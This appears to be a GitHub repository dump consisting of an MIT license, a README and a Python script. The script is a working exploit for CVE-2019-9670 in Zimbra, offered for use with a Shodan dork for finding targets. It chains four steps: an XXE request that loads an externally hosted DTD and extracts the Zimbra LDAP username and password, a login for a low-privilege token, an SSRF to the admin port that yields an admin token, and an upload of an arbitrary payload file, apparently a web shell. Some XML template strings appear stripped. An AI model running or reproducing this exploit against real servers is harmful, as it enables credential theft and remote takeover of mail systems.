├── LICENSE ├── README.md └── zimbra.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 e 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Zimbra-RCE 2 | Zimbra RCE CVE-2019-9670 3 | 4 | ```bash 5 | $ ./zimbra.py -h 6 | 7 | __________.__ ___. ___________________ ___________ 8 | \____ /|__| _____\_ |______________ \______ \_ ___ \_ _____/ 9 | / / | |/ \| __ \_ __ \__ \ | _/ \ \/ | __)_ 10 | / /_ | | Y Y \ \_\ \ | \// __ \_ | | \ \____| \ 11 | /_______ \|__|__|_| /___ /__| (____ / |____|_ /\______ /_______ / 12 | \/ \/ \/ \/ \/ \/ \/ 13 | 14 | usage: zimbra.py [-h] -u URL -d DTD -n PAYLOAD_NAME -f PAYLOAD_FILE 15 | 16 | Zimbra RCE CVE-2019-9670 17 | 18 | optional arguments: 19 | -h, --help show this help message and exit 20 | -u URL, --url URL Target url 21 | -d DTD, --dtd DTD Url to DTD 22 | -n PAYLOAD_NAME, --name PAYLOAD_NAME 23 | Name of uploaded payload 24 | -f PAYLOAD_FILE, --file PAYLOAD_FILE 25 | File containing payload 26 | ``` 27 | -------------------------------------------------------------------------------- /zimbra.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # Title: Zimbra Autodiscover Servlet XXE and ProxyServlet SSRF <= 8.7.0 and 8.7.11 3 | # Shodan Dork: 8.6.0_GA_1153 4 | # Vendor Homepage: https://www.zimbra.com/ 5 | # Version: <= 8.7.0 and 8.7.11 6 | # Tested on: Debian 7 | # CVE : CVE-2019-9670 8 | # References: 9 | # http://www.rapid7.com/db/modules/exploit/linux/http/zimbra_xxe_rce 10 | import requests 11 | import sys 12 | import urllib.parse 13 | import re 14 | import argparse 15 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 16 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 17 | 18 | banner = """ 19 | __________.__ ___. ___________________ ___________ 20 | \____ /|__| _____\_ |______________ \______ \_ ___ \\_ _____/ 21 | / / | |/ \| __ \_ __ \__ \ | _/ \ \/ | __)_ 22 | / /_ | | Y Y \ \_\ \ | \// __ \_ | | \ \____| \\ 23 | /_______ \|__|__|_| /___ /__| (____ / |____|_ /\______ /_______ / 24 | \/ \/ \/ \/ \/ \/ \/ 25 | """ 26 | 27 | class zimbra_rce(object): 28 | def __init__(self, base_url, dtd_url, file_name, payload_file): 29 | self.base_url = base_url 30 | self.dtd_url = dtd_url 31 | self.low_auth = {} 32 | self.file_name = file_name 33 | self.payload = open(payload_file, "r").read() 34 | self.pattern_auth_token=re.compile(r"(.*?)") 35 | 36 | def upload_dtd_payload(self): 37 | ''' 38 | Example DTD payload: 39 | 40 | 41 | "> 42 | "> 43 | ''' 44 | xxe_payload = r""" 46 | %dtd; 47 | %all; 48 | ]> 49 | 50 | 51 | aaaaa 52 | &fileContents; 53 | 54 | """.format(self.dtd_url) 55 | headers = { 56 | "Content-Type":"application/xml" 57 | } 58 | print("[*] Uploading DTD.", end="\r") 59 | dtd_request = requests.post(self.base_url+"/Autodiscover/Autodiscover.xml",data=xxe_payload,headers=headers,verify=False,timeout=15) 60 | # print(r.text) 61 | if 'response schema not available' not in dtd_request.text: 62 | print("[-] Site Not Vulnerable To XXE.") 63 | return False 64 | else: 65 | print("[+] Uploaded DTD.") 66 | print("[*] Attempting to extract User/Pass.", end="\r") 67 | pattern_name = re.compile(r"<key name=(\"|")zimbra_user(\"|")>\n.*?<value>(.*?)<\/value>") 68 | pattern_password = re.compile(r"<key name=(\"|")zimbra_ldap_password(\"|")>\n.*?<value>(.*?)<\/value>") 69 | if pattern_name.findall(dtd_request.text) and pattern_password.findall(dtd_request.text): 70 | username = pattern_name.findall(dtd_request.text)[0][2] 71 | password = pattern_password.findall(dtd_request.text)[0][2] 72 | self.low_auth = {"username" : username, "password" : password} 73 | print("[+] Extracted Username: {} Password: {}".format(username, password)) 74 | return True 75 | print("[-] Unable To extract User/Pass.") 76 | return False 77 | 78 | def make_xml_auth_body(self, xmlns, username, password): 79 | auth_body=""" 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | {} 88 | {} 89 | 90 | 91 | """ 92 | return auth_body.format(xmlns, username, password) 93 | 94 | def gather_low_auth_token(self): 95 | print("[*] Getting Low Privilege Auth Token", end="\r") 96 | headers = { 97 | "Content-Type":"application/xml" 98 | } 99 | r=requests.post(self.base_url+"/service/soap",data=self.make_xml_auth_body( 100 | "urn:zimbraAccount", 101 | self.low_auth["username"], 102 | self.low_auth["password"] 103 | ), headers=headers, verify=False, timeout=15) 104 | low_priv_token = self.pattern_auth_token.findall(r.text) 105 | if low_priv_token: 106 | print("[+] Gathered Low Auth Token.") 107 | return low_priv_token[0].strip() 108 | print("[-] Failed to get Low Auth Token") 109 | return False 110 | 111 | def ssrf_admin_token(self, low_priv_token): 112 | headers = { 113 | "Content-Type":"application/xml" 114 | } 115 | headers["Host"]="{}:7071".format(urllib.parse.urlparse(self.base_url).netloc.split(":")[0]) 116 | print("[*] Getting Admin Auth Token By SSRF", end="\r") 117 | r = requests.post(self.base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap/AuthRequest", 118 | data=self.make_xml_auth_body( 119 | "urn:zimbraAdmin", 120 | self.low_auth["username"], 121 | self.low_auth["password"] 122 | ), 123 | verify=False, 124 | headers=headers, 125 | cookies={"ZM_ADMIN_AUTH_TOKEN":low_priv_token} 126 | ) 127 | admin_token = self.pattern_auth_token.findall(r.text) 128 | if admin_token: 129 | print("[+] Gathered Admin Auth Token.") 130 | return admin_token[0].strip() 131 | print("[-] Failed to get Admin Auth Token") 132 | return False 133 | 134 | def upload_payload(self, admin_token): 135 | f = { 136 | 'filename1':(None, "whateverlol", None), 137 | 'clientFile':(self.file_name, self.payload, "text/plain"), 138 | 'requestId':(None, "12", None), 139 | } 140 | cookies = { 141 | "ZM_ADMIN_AUTH_TOKEN":admin_token 142 | } 143 | print("[*] Uploading file", end="\r") 144 | r = requests.post(self.base_url+"/service/extension/clientUploader/upload",files=f, 145 | cookies=cookies, 146 | verify=False 147 | ) 148 | if r.status_code == 200: 149 | r = requests.get(self.base_url + "/downloads/" + self.file_name, 150 | cookies=cookies, 151 | verify=False 152 | ) 153 | if r.status_code == 200: # some jsp shells throw a 500 if invalid parameters are given 154 | print("[+] Uploaded file to: {}/downloads/{}".format(self.base_url, self.file_name)) 155 | print("[+] You may need the need cookie: \n{}={};".format("ZM_ADMIN_AUTH_TOKEN", cookies["ZM_ADMIN_AUTH_TOKEN"])) 156 | return True 157 | print("[-] Cannot Upload File.") 158 | return False 159 | 160 | def exploit(self): 161 | try: 162 | if self.upload_dtd_payload(): 163 | low_auth_token = self.gather_low_auth_token() 164 | if low_auth_token: 165 | admin_auth_token = self.ssrf_admin_token(low_auth_token) 166 | if admin_auth_token: 167 | return self.upload_payload(admin_auth_token) 168 | except Exception as e: 169 | print("Error: {}".format(e)) 170 | return False 171 | 172 | if __name__ == "__main__": 173 | print(banner) 174 | parser = argparse.ArgumentParser(description='Zimbra RCE CVE-2019-9670') 175 | parser.add_argument('-u', '--url', action='store', dest='url', 176 | help='Target url', required=True) 177 | parser.add_argument('-d', '--dtd', action='store', dest='dtd', 178 | help='Url to DTD', required=True) 179 | parser.add_argument('-n', '--name', action='store', dest='payload_name', 180 | help='Name of uploaded payload', required=True) 181 | parser.add_argument('-f', '--file', action='store', dest='payload_file', 182 | help='File containing payload', required=True) 183 | results = parser.parse_args() 184 | z = zimbra_rce(results.url, results.dtd, results.payload_name, results.payload_file) 185 | z.exploit() 186 | --------------------------------------------------------------------------------